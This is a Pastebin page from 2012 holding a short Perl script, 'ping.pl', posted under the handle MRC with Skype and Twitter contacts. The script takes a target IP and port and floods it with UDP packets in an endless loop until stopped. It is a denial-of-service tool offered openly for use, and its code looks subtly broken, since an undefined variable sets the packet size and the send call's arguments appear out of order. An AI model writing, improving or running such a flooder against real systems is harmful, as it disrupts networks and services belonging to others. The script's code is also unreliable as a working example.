Advertisement
MRC

ping.pl

MRC
Aug 8th, 2012
297
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.47 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use Socket;
  3. $ARGC=@ARGV;
  4. if ($ARGC !=2) {
  5.  printf "skype mrcfull\n";
  6.  printf "twitter.com/AnonMRC\n";
  7.  printf "$0 <ip> <port>\n";
  8.  exit(1);
  9. }
  10. my ($ip,$port,$size);
  11. $ip=$ARGV[0];
  12. $port=$ARGV[1];
  13. socket(crazy, PF_INET, SOCK_DGRAM, 17);
  14. $iaddr = inet_aton("$ip");
  15. printf "Flooding UDP port " . $port . " on " . $ip . "\n";
  16. printf "end with Ctrl-C\n";
  17. for (;;) {
  18.  $size=$rand x $rand x $rand;
  19.  send(crazy, 0, $size, sockaddr_in($port, $iaddr));
  20. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement